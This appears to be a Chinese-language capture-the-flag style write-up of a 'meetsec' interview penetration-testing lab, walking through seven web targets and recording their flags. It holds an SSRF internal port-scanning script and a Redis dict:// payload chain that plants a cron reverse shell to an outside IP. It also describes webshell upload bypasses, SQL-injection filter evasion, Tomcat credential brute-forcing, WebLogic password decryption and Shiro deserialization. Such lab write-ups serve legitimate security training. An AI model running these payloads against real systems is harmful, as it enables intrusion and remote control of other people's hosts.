这个面试靶场主要还是考的一些框架的漏洞,内网渗透,横向渗透等等,还是很符合如今真实项目能出现的一下漏洞!

nice! 又提升一遍利用的一些思路!!!!

Web1

Flag1

一眼ssrf

直接尝试file 协议读写/flag

meetsec-web1{flag1-6d5e5c2bb397ba7727b58df59b35f66a}

Flag2

提示说在第二台主机的mysql中

用dict 协议进行端口探测

这里我们写一个python脚本帮我们自动探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
import requests
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import sys


# 颜色常量,用于高亮显示

class Colors:
RESET = "\033[0m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
RED = "\033[91m"
BOLD = "\033[1m"


TARGET = "http://119.45.177.120"
HEADERS = {
"Host": "119.45.177.120",
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Referer": "http://119.45.177.120/",
"Connection": "keep-alive",
}
LAST_OCTETS = range(1, 256)
PORTS = [3306, 6379]
MAX_THREADS = 50 # 并发线程数


# 线程安全的计数器

class Counter:
def __init__(self):
self.count = 0
self.lock = threading.Lock()
self.total = len(LAST_OCTETS) * len(PORTS)

def increment(self):
with self.lock:
self.count += 1
return self.count

def get_progress(self):
with self.lock:
return f"{self.count}/{self.total} ({self.count / self.total * 100:.1f}%)"


def fetch(url):
"""发送请求并返回响应内容长度,出错时返回0"""
try:
response = requests.post(
TARGET,
headers=HEADERS,
data={"url": url},
timeout=5
)
return len(response.content)
except requests.RequestException:
return 0


def scan_target(octet, port, baseline, counter):
"""扫描单个目标并返回结果(仅当长度超过基线时)"""
ip = f"172.18.240.{octet}"
url = f"dict://{ip}:{port}"
length = fetch(url)
# 更新进度
progress = counter.increment()
# 仅在有变化时显示进度,避免过多输出
if progress % 10 == 0:
sys.stdout.write(f"\r{Colors.YELLOW}扫描进度: {progress}{Colors.RESET}")
sys.stdout.flush()
# 只返回长度大于基线的结果
return (length, ip, port) if length > baseline else None


def main():
print(f"{Colors.BOLD}获取基线响应长度...{Colors.RESET}")
baseline = fetch("dict://172.18.240.254:65535")
print(f"{Colors.BOLD}基线响应长度:{baseline}{Colors.RESET}")
print(f"{Colors.BOLD}开始探测 ({len(LAST_OCTETS)}个IP,{len(PORTS)}个端口)...{Colors.RESET}\n")

counter = Counter()
results = []

# 使用线程池并发扫描
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
# 创建所有任务
futures = [
executor.submit(scan_target, octet, port, baseline, counter)
for octet in LAST_OCTETS
for port in PORTS
]

# 处理完成的任务
for future in as_completed(futures):
result = future.result()
if result:
results.append(result)

# 清除进度条
print("\r" + " " * 30 + "\r", end="")

# 按响应长度排序并显示结果
for length, ip, port in sorted(results, key=lambda x: x[0], reverse=True):
print(f"{Colors.GREEN}[+] 内网服务可能存在: {ip}:{port} 响应长度 = {length}{Colors.RESET}")

if not results:
print(f"{Colors.YELLOW}未发现响应长度超过基线的服务{Colors.RESET}")

print(f"\n{Colors.BOLD}探测完成。{Colors.RESET}")


if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print(f"\n{Colors.RED}用户中断扫描{Colors.RESET}")
sys.exit(0)

发现172.18.240.7:6379 可能存在redis 未授权访问

直接读flag

meetsec-web1{flag2-2b7cc5b73fe867cc83546583b858c8ab}

Flag3

提示在第二台主机的根目录下,那么我们考虑反弹shell,读取

1
2
3
4
5
6
7
8
9
dict://172.18.240.7:6379/flushall

dict://172.18.240.7:6379/config set dir /var/spool/cron

dict://172.18.240.7:6379/config set dbfilename root

dict://172.18.240.7:6379/set x "\n* * * * * /bin/bash -i >& /dev/tcp/8.152.4.133/8888 0>&1\n"

dict://172.18.240.7:6379/save

依次写入反弹shell

Web2

Flag1

访问页面,119.45.177.120:7001 并没有发现什么有用信息,查一查指纹

Weblogic框架,直接工具扫描

直接读取

Flag2

提示:在第二台主机的数据库中

打内存马进去

连接上之后,利用冰蝎自带的服务扫描,扫一下

扫描这三个网段

在进行服务扫描

发现

172.25.20.12 开放3306 存在mysql端口

利用frp进行内网穿透转发

上传改好的frpc.toml 到靶机

赋予 可执行权限

运行

发现在冰蝎执行,容易断掉,我们反弹shell进行执行

想到Weblogic可以用jdbc做数据源连接,找到数据库的账户与加密的密码

/root/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/JDBC_Data_Source-0-3407-jdbc.xml这个路径下密文

{AES}ZhArsOkXPBA9AvAwRxNxpK4G0WlHlpNFBZVsu+PDlYU=

密钥

执行命令
cat SerializedSystemIni.dat | base64
获取密钥

BNnQ4ugCIIdQsPqblVIj9ILs/o1Wl+QiTx2coQCBU/wdo4laQlBoGDGGuIqvgnI9KKgiD58oczjYxfmvNlHH5w==

Meetsec#1024

拿到数据库密码

然后直接去进行连接,刚刚我们已经做好了frp转发了

Flag3

说是 在第二台主机的根目录下

我们利用mysql 直接执行命令读取/Flag

导出查看

一眼base64编码

我们进行解码

拿到flag

这里也可以sqlmap 通过os-shell 拿shell 在读

Flag4

Flag4:在第三台主机的根目录下

我们上传fscan到服务器上,扫描3个网段

扫描172.26.30.0/24

扫描172.25.20.0/24

扫描172.16.10.0/24

3个网段全部扫描完,但是发现是后面题目的一些服务

172.26.30.1

这个网段全是后面题目的 一些端口,没看见利用的地方

Web3

Flag1

继续指纹识别

SpringBoot框架

尝试访问env环境

拿到flag

Flag2

提示在第二台主机的数据库内

119.45.177.120:13306

Mysql数据库

Dirsearch扫一下目录

扫到站点的/heapdump目录

拿到heapdump文件

用JDumpSpider 进行dump

拿到数据库密码MeetSec@2nd!2022 username:meetsec

meetsec-web3{flag2-9edbd4b03b5f86a9abe079bc63ea847b}

Web4

BEESCMS框架

扫描路径

发现后台登录路径 /admin

存在sql注入,调用 updatexml() 函数触发 XPath 解析错误泄露出数据库中的用户名和密码

然后注入出账号密码

他这里给了提示直接注入即可

sql:select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name=’admin’

发现有过滤,推测后端替换为空

双写绕过

账号:meetsec

密码:2446d54c2e68d221db9cff653b01a0e 感觉像md5 ,去解密下

login123

尝试登录

有上传图片接口,我们尝试修改上传我们的webshell

这里他只做了类型字段的检测,我们直接上传 bp改image/jpg即可绕过

然后我们,连接我们的shell

拿到flag

Web5

http://119.45.177.120:8081/

访问发现 tomcat中间件

我们直接进行弱密码爆破

抓包

众所周知 tomcat 密码 是base64

类型tomcat:tomcat 这样的形式进行的base64 加密

我们直接利用bp的自定义迭代工具来爆破

这里特别注意 =号别url编码

删除掉 ,不然会爆破不成功的

tomcat:qwe123

登录

剩下的就是上传war包拿shell了

这里我们换哥斯拉生成jsp马

上传吧

将生成的jsp压缩为 zip

然后改后缀名为war

上传

访问连接即可

拿到flag

Web6

又是http://119.45.177.120:6379/

一看就是redis服务

之前在web2内网也扫到这个了

利用工具进行rce

meetsec-web6{flag1-672728e3bde3f4cc2b59de572b4df6d6}

Web7

扫描指纹是Nacos

访问弱口令登录

Nacos: Nacos

然后访问第二台主机

发现关键字段

明白这里肯定打shiro 反序列化

我们去刚刚的后台的找找有没有key

很容易就发现了aes加密的key

利用工具打

拿下flag